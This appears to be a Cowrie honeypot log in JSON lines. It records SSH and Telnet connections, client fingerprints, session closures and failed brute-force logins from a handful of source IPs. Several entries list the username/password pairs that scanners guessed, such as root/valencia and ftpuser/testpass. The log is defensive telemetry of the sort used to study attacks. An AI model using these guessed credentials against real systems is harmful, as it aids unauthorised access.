{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:18.317516Z","src_ip":"213.209.159.158","session":"8e2951215173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50898,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6a6cfb5f920","protocol":"telnet","message":"New connection: 62.210.97.77:50898 (10.17.0.5:23) [session: c6a6cfb5f920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:19.127858Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55460,"dst_ip":"10.17.0.5","dst_port":23,"session":"d427bd7410cd","protocol":"telnet","message":"New connection: 65.60.27.33:55460 (10.17.0.5:23) [session: d427bd7410cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:22.364596Z"}
{"eventid":"cowrie.session.closed","duration":45.09676384925842,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:23.635793Z","src_ip":"38.54.119.93","session":"8acf31d4e074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50906,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2a3fdbbc4f2","protocol":"telnet","message":"New connection: 62.210.97.77:50906 (10.17.0.5:23) [session: f2a3fdbbc4f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:26.590532Z"}
{"eventid":"cowrie.session.closed","duration":38.23795413970947,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:27.305142Z","src_ip":"165.232.131.181","session":"675ef116e60a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"valencia","message":"login attempt [root/valencia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:28.125270Z","src_ip":"213.209.159.158","session":"8e2951215173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58014,"dst_ip":"10.17.0.5","dst_port":23,"session":"260c7491092a","protocol":"telnet","message":"New connection: 165.232.131.181:58014 (10.17.0.5:23) [session: 260c7491092a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:28.888173Z"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:31.364272Z","src_ip":"213.209.159.158","session":"8e2951215173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13120,"dst_ip":"10.17.0.5","dst_port":22,"session":"0be2971eb085","protocol":"ssh","message":"New connection: 213.209.159.158:13120 (10.17.0.5:22) [session: 0be2971eb085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:31.502511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:33.948101Z","src_ip":"213.209.159.158","session":"0be2971eb085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:33.953293Z","src_ip":"213.209.159.158","session":"0be2971eb085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.343985080718994,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:35.639448Z","src_ip":"62.210.97.77","session":"24fac88ed53c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44652,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4e0237047cc","protocol":"telnet","message":"New connection: 65.60.27.33:44652 (10.17.0.5:23) [session: c4e0237047cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:37.689440Z"}
{"eventid":"cowrie.session.closed","duration":52.30733013153076,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:38.159431Z","src_ip":"165.232.131.181","session":"869c45186568","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.43432545661926,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:38.242602Z","src_ip":"62.210.97.77","session":"b8ab8ef9961b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.849207401275635,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:39.802282Z","src_ip":"62.210.97.77","session":"4e964c396ab1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":6915,"dst_ip":"159.203.135.109","dst_port":22,"session":"98b24b20e4aa","protocol":"ssh","message":"New connection: 89.218.69.66:6915 (159.203.135.109:22) [session: 98b24b20e4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:41.168044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:41.173229Z","src_ip":"89.218.69.66","session":"98b24b20e4aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:41.346384Z","src_ip":"89.218.69.66","session":"98b24b20e4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.55845022201538,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:41.542270Z","src_ip":"38.54.119.93","session":"cdc14beae8b5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"testpass","message":"login attempt [ftpuser/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:42.068897Z","src_ip":"89.218.69.66","session":"98b24b20e4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:43.274302Z","src_ip":"89.218.69.66","session":"98b24b20e4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Valencia","message":"login attempt [root/Valencia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:43.692305Z","src_ip":"213.209.159.158","session":"0be2971eb085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49360,"dst_ip":"10.17.0.5","dst_port":23,"session":"a51829ed20f7","protocol":"telnet","message":"New connection: 62.210.97.77:49360 (10.17.0.5:23) [session: a51829ed20f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:43.827283Z"}
{"eventid":"cowrie.session.closed","duration":35.912076473236084,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:46.221131Z","src_ip":"62.210.97.77","session":"38476db401de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:46.912050Z","src_ip":"213.209.159.158","session":"0be2971eb085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52738,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f847bbe7f58","protocol":"ssh","message":"New connection: 213.209.159.158:52738 (10.17.0.5:22) [session: 6f847bbe7f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:46.991025Z"}
{"eventid":"cowrie.session.closed","duration":38.390477895736694,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:47.981015Z","src_ip":"62.210.97.77","session":"f21ae9ea4d01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40048,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c47ad712565","protocol":"telnet","message":"New connection: 62.210.97.77:40048 (10.17.0.5:23) [session: 4c47ad712565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:48.633065Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40058,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9a6c8be7390","protocol":"telnet","message":"New connection: 62.210.97.77:40058 (10.17.0.5:23) [session: c9a6c8be7390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:49.519262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:49.523464Z","src_ip":"213.209.159.158","session":"6f847bbe7f58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:49.526381Z","src_ip":"213.209.159.158","session":"6f847bbe7f58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58130,"dst_ip":"10.17.0.5","dst_port":23,"session":"30400835e2f0","protocol":"telnet","message":"New connection: 65.60.27.33:58130 (10.17.0.5:23) [session: 30400835e2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:49.568266Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39048,"dst_ip":"10.17.0.5","dst_port":23,"session":"58c11ef3bdcc","protocol":"telnet","message":"New connection: 165.232.131.181:39048 (10.17.0.5:23) [session: 58c11ef3bdcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:50.875302Z"}
{"eventid":"cowrie.session.closed","duration":34.266727447509766,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:51.020870Z","src_ip":"62.210.97.77","session":"52f2b6617691","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.9555823802948,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:53.742881Z","src_ip":"38.54.119.93","session":"8af9148cd555","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.31652212142944,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:54.475131Z","src_ip":"62.210.97.77","session":"60b2d09c7324","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.50786113739014,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:55.179205Z","src_ip":"62.210.97.77","session":"bff8eb298e41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.721317291259766,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:55.849045Z","src_ip":"62.210.97.77","session":"c6a6cfb5f920","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00174927711487,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:58.127648Z","src_ip":"165.232.131.181","session":"8de6c8f31a40","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"user000","message":"login attempt [root/user000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:59.267265Z","src_ip":"213.209.159.158","session":"6f847bbe7f58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55234,"dst_ip":"10.17.0.5","dst_port":23,"session":"a25a97656b5b","protocol":"telnet","message":"New connection: 62.210.97.77:55234 (10.17.0.5:23) [session: a25a97656b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:59.765574Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55244,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4de268b5c9b","protocol":"telnet","message":"New connection: 62.210.97.77:55244 (10.17.0.5:23) [session: e4de268b5c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:00.022319Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50338,"dst_ip":"10.17.0.5","dst_port":23,"session":"a95e55171869","protocol":"telnet","message":"New connection: 38.54.119.93:50338 (10.17.0.5:23) [session: a95e55171869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:00.713203Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55246,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdeae55c59ab","protocol":"telnet","message":"New connection: 62.210.97.77:55246 (10.17.0.5:23) [session: cdeae55c59ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:01.387059Z"}
{"eventid":"cowrie.session.closed","duration":35.08051109313965,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:01.670921Z","src_ip":"62.210.97.77","session":"f2a3fdbbc4f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:02.968289Z","src_ip":"213.209.159.158","session":"6f847bbe7f58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":28704,"dst_ip":"10.17.0.5","dst_port":22,"session":"28287f9dbc73","protocol":"ssh","message":"New connection: 213.209.159.158:28704 (10.17.0.5:22) [session: 28287f9dbc73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:03.047733Z"}
{"eventid":"cowrie.session.closed","duration":3.5038256645202637,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:04.216929Z","src_ip":"38.54.119.93","session":"a95e55171869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.90487217903137,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:04.269354Z","src_ip":"65.60.27.33","session":"d427bd7410cd","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:05.240375Z","src_ip":"213.209.159.158","session":"28287f9dbc73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:05.246994Z","src_ip":"213.209.159.158","session":"28287f9dbc73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49096,"dst_ip":"10.17.0.5","dst_port":23,"session":"d89f64d4f59a","protocol":"telnet","message":"New connection: 65.60.27.33:49096 (10.17.0.5:23) [session: d89f64d4f59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:06.410508Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55250,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba8740331861","protocol":"telnet","message":"New connection: 62.210.97.77:55250 (10.17.0.5:23) [session: ba8740331861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:07.384766Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"user2022","message":"login attempt [root/user2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:15.243680Z","src_ip":"213.209.159.158","session":"28287f9dbc73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46532,"dst_ip":"10.17.0.5","dst_port":23,"session":"43e28b49df51","protocol":"telnet","message":"New connection: 62.210.97.77:46532 (10.17.0.5:23) [session: 43e28b49df51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:17.925105Z"}
{"eventid":"cowrie.session.closed","duration":40.41397953033447,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:18.103331Z","src_ip":"65.60.27.33","session":"c4e0237047cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.408605337142944,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:18.296644Z","src_ip":"165.232.131.181","session":"260c7491092a","protocol":"telnet"}
